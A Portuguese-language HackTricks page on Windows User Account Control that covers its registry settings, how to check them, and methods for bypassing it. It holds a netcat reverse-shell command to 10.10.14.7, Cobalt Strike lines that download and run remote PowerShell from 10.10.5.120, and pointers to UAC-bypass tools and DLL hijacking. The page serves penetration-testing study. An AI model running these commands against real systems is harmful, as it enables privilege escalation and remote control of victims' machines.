hacktricks/windows-hardening/windows-security-controls/uac-user-account-control.md

20 KiB

UAC - Controle de Conta de Usuário

Aprenda hacking na AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras maneiras de apoiar o HackTricks:

Use Trickest para construir e automatizar fluxos de trabalho facilmente com as ferramentas comunitárias mais avançadas do mundo.
Acesse hoje:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

UAC

User Account Control (UAC) é um recurso que permite uma solicitação de consentimento para atividades elevadas. Aplicações possuem diferentes níveis de integridade, e um programa com um alto nível pode realizar tarefas que potencialmente comprometam o sistema. Quando o UAC está ativado, aplicações e tarefas sempre são executadas no contexto de segurança de uma conta de não administrador a menos que um administrador autorize explicitamente essas aplicações/tarefas a terem acesso de nível de administrador para serem executadas. É um recurso de conveniência que protege os administradores de alterações não intencionais, mas não é considerado uma barreira de segurança.

Para mais informações sobre os níveis de integridade:

{% content-ref url="../windows-local-privilege-escalation/integrity-levels.md" %} integrity-levels.md {% endcontent-ref %}

Quando o UAC está em vigor, um usuário administrador recebe 2 tokens: uma chave de usuário padrão, para realizar ações regulares em nível regular, e outra com privilégios de administrador.

Esta página discute em grande profundidade como o UAC funciona e inclui o processo de logon, experiência do usuário e arquitetura do UAC. Os administradores podem usar políticas de segurança para configurar como o UAC funciona especificamente para sua organização no nível local (usando secpol.msc), ou configurado e distribuído via Objetos de Política de Grupo (GPO) em um ambiente de domínio Active Directory. As várias configurações são discutidas em detalhes aqui. Existem 10 configurações de Política de Grupo que podem ser definidas para o UAC. A tabela a seguir fornece detalhes adicionais:

Configuração de Política de Grupo Chave do Registro Configuração Padrão
User Account Control: Admin Approval Mode for the built-in Administrator account FilterAdministratorToken Desativado
User Account Control: Allow UIAccess applications to prompt for elevation without using the secure desktop EnableUIADesktopToggle Desativado
User Account Control: Behavior of the elevation prompt for administrators in Admin Approval Mode ConsentPromptBehaviorAdmin Solicitar consentimento para binários não-Windows
User Account Control: Behavior of the elevation prompt for standard users ConsentPromptBehaviorUser Solicitar credenciais na área de trabalho segura
User Account Control: Detect application installations and prompt for elevation EnableInstallerDetection Ativado (padrão para doméstico) Desativado (padrão para empresa)
User Account Control: Only elevate executables that are signed and validated ValidateAdminCodeSignatures Desativado
User Account Control: Only elevate UIAccess applications that are installed in secure locations EnableSecureUIAPaths Ativado
User Account Control: Run all administrators in Admin Approval Mode EnableLUA Ativado
User Account Control: Switch to the secure desktop when prompting for elevation PromptOnSecureDesktop Ativado
User Account Control: Virtualize file and registry write failures to per-user locations EnableVirtualization Ativado

Teoria de Bypass do UAC

Alguns programas são automaticamente autoelevados se o usuário pertencer ao grupo de administradores. Esses binários possuem em seus Manifestos a opção autoElevate com o valor True. O binário também precisa ser assinado pela Microsoft.

Então, para burlar o UAC (elevar de nível de integridade médio para alto) alguns atacantes usam esse tipo de binários para executar código arbitrário porque ele será executado a partir de um processo de nível de integridade alto.

Você pode verificar o Manifesto de um binário usando a ferramenta sigcheck.exe da Sysinternals. E você pode ver o nível de integridade dos processos usando o Process Explorer ou Process Monitor (da Sysinternals).

Verificar UAC

Para confirmar se o UAC está ativado faça:

REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v EnableLUA

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
EnableLUA    REG_DWORD    0x1

Se for 1, então o UAC está ativado, se for 0 ou se não existir, então o UAC está inativo.

Em seguida, verifique qual nível está configurado:

REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v ConsentPromptBehaviorAdmin

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
ConsentPromptBehaviorAdmin    REG_DWORD    0x5
  • Se 0 então, o UAC não solicitará permissão (como desativado)
  • Se 1 o administrador é solicitado a fornecer nome de usuário e senha para executar o binário com altos privilégios (na Área de Trabalho Segura)
  • Se 2 (Sempre me notificar) o UAC sempre pedirá confirmação ao administrador quando ele tentar executar algo com altos privilégios (na Área de Trabalho Segura)
  • Se 3 como 1 mas não é necessário na Área de Trabalho Segura
  • Se 4 como 2 mas não é necessário na Área de Trabalho Segura
  • Se 5 (padrão) pedirá ao administrador para confirmar a execução de binários não-Windows com altos privilégios

Em seguida, você deve verificar o valor de LocalAccountTokenFilterPolicy
Se o valor for 0, então, apenas o usuário RID 500 (Administrador integrado) pode realizar tarefas de administração sem UAC, e se for 1, todas as contas dentro do grupo "Administradores" podem fazê-lo.

E, finalmente, verifique o valor da chave FilterAdministratorToken
Se 0 (padrão), a conta de Administrador integrado pode realizar tarefas de administração remota e se 1 a conta integrada de Administrador não pode realizar tarefas de administração remota, a menos que LocalAccountTokenFilterPolicy seja definido como 1.

Resumo

  • Se EnableLUA=0 ou não existir, nenhum UAC para ninguém
  • Se EnableLua=1 e LocalAccountTokenFilterPolicy=1, Nenhum UAC para ninguém
  • Se EnableLua=1 e LocalAccountTokenFilterPolicy=0 e FilterAdministratorToken=0, Nenhum UAC para RID 500 (Administrador integrado)
  • Se EnableLua=1 e LocalAccountTokenFilterPolicy=0 e FilterAdministratorToken=1, UAC para todos

Todas essas informações podem ser obtidas usando o módulo metasploit: post/windows/gather/win_privs

Você também pode verificar os grupos do seu usuário e obter o nível de integridade:

net user %username%
whoami /groups | findstr Level

Bypass do UAC

{% hint style="info" %} Note que se você tiver acesso gráfico à vítima, o bypass do UAC é direto, pois você pode simplesmente clicar em "Sim" quando o prompt do UAC aparecer. {% endhint %}

O bypass do UAC é necessário na seguinte situação: o UAC está ativado, seu processo está sendo executado em um contexto de integridade média e seu usuário pertence ao grupo de administradores.

É importante mencionar que é muito mais difícil contornar o UAC se estiver no nível de segurança mais alto (Sempre) do que se estiver em qualquer outro nível (Padrão).

UAC desativado

Se o UAC já estiver desativado (ConsentPromptBehaviorAdmin é 0), você pode executar um shell reverso com privilégios de administrador (nível de integridade alto) usando algo como:

#Put your reverse shell instead of "calc.exe"
Start-Process powershell -Verb runAs "calc.exe"
Start-Process powershell -Verb runAs "C:\Windows\Temp\nc.exe -e powershell 10.10.14.7 4444"

Bypass do UAC com duplicação de token

Muito básico "bypass" do UAC (acesso completo ao sistema de arquivos)

Se você tiver um shell com um usuário que está dentro do grupo Administradores, você pode montar o compartilhamento C$ via SMB (sistema de arquivos) local em um novo disco e terá acesso a tudo dentro do sistema de arquivos (até mesmo a pasta home do Administrador).

{% hint style="warning" %} Parece que esse truque não está mais funcionando {% endhint %}

net use Z: \\127.0.0.1\c$
cd C$

#Or you could just access it:
dir \\127.0.0.1\c$\Users\Administrator\Desktop

Bypass do UAC com cobalt strike

As técnicas do Cobalt Strike só funcionarão se o UAC não estiver configurado no seu nível máximo de segurança.

# UAC bypass via token duplication
elevate uac-token-duplication [listener_name]
# UAC bypass via service
elevate svc-exe [listener_name]

# Bypass UAC with Token Duplication
runasadmin uac-token-duplication powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))"
# Bypass UAC with CMSTPLUA COM interface
runasadmin uac-cmstplua powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))"

Empire e Metasploit também possuem vários módulos para burlar o UAC.

KRBUACBypass

Documentação e ferramenta em https://github.com/wh0amitz/KRBUACBypass

Explorações de bypass do UAC

UACME que é uma compilação de várias explorações de bypass do UAC. Note que você precisará compilar o UACME usando o Visual Studio ou o msbuild. A compilação criará vários executáveis (como Source\Akagi\outout\x64\Debug\Akagi.exe), você precisará saber qual você precisa.
Você deve ter cuidado porque alguns bypasses irão solicitar que outros programas alertem o usuário de que algo está acontecendo.

O UACME possui a versão de compilação a partir da qual cada técnica começou a funcionar. Você pode procurar por uma técnica que afete suas versões:

PS C:\> [environment]::OSVersion.Version

Major  Minor  Build  Revision
-----  -----  -----  --------
10     0      14393  0

Mais bypass de UAC

Todas as técnicas usadas aqui para contornar o UAC exigem um shell interativo completo com a vítima (um shell nc.exe comum não é suficiente).

Você pode obter usando uma sessão meterpreter. Migrar para um processo que tenha o valor de Sessão igual a 1:

(explorer.exe deve funcionar)

Bypass de UAC com GUI

Se você tiver acesso a uma GUI, pode simplesmente aceitar o prompt do UAC quando o receber, você realmente não precisa de um bypass. Portanto, ter acesso a uma GUI permitirá que você contorne o UAC.

Além disso, se você obtiver uma sessão de GUI que alguém estava usando (potencialmente via RDP), existem algumas ferramentas que estarão sendo executadas como administrador de onde você poderia executar um cmd por exemplo como administrador diretamente sem ser solicitado novamente pelo UAC como https://github.com/oski02/UAC-GUI-Bypass-appverif. Isso pode ser um pouco mais discreto.

Bypass de UAC por força bruta barulhento

Se você não se importa em ser barulhento, você sempre pode executar algo como https://github.com/Chainski/ForceAdmin que pede para elevar as permissões até que o usuário aceite.

Seu próprio bypass - Metodologia básica de bypass de UAC

Se você der uma olhada no UACME, você notará que a maioria dos bypasses de UAC abusam de uma vulnerabilidade de Dll Hijacking (principalmente escrevendo a dll maliciosa em C:\Windows\System32). Leia isso para aprender como encontrar uma vulnerabilidade de Dll Hijacking.

  1. Encontre um binário que autoeleve (verifique se, quando é executado, ele é executado em um nível de integridade alto).
  2. Com o procmon, encontre eventos de "NOME NÃO ENCONTRADO" que podem ser vulneráveis ao DLL Hijacking.
  3. Provavelmente você precisará escrever a DLL dentro de alguns caminhos protegidos (como C:\Windows\System32) onde você não tem permissões de escrita. Você pode contornar isso usando:
  4. wusa.exe: Windows 7, 8 e 8.1. Permite extrair o conteúdo de um arquivo CAB dentro de caminhos protegidos (porque essa ferramenta é executada a partir de um nível de integridade alto).
  5. IFileOperation: Windows 10.
  6. Prepare um script para copiar sua DLL dentro do caminho protegido e executar o binário vulnerável e autoelevado.

Outra técnica de bypass de UAC

Consiste em observar se um binário autoelevado tenta ler do registro o nome/caminho de um binário ou comando a ser executado (isso é mais interessante se o binário procurar essas informações dentro do HKCU).

Use Trickest para construir e automatizar fluxos de trabalho com as ferramentas comunitárias mais avançadas do mundo.
Acesse hoje:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}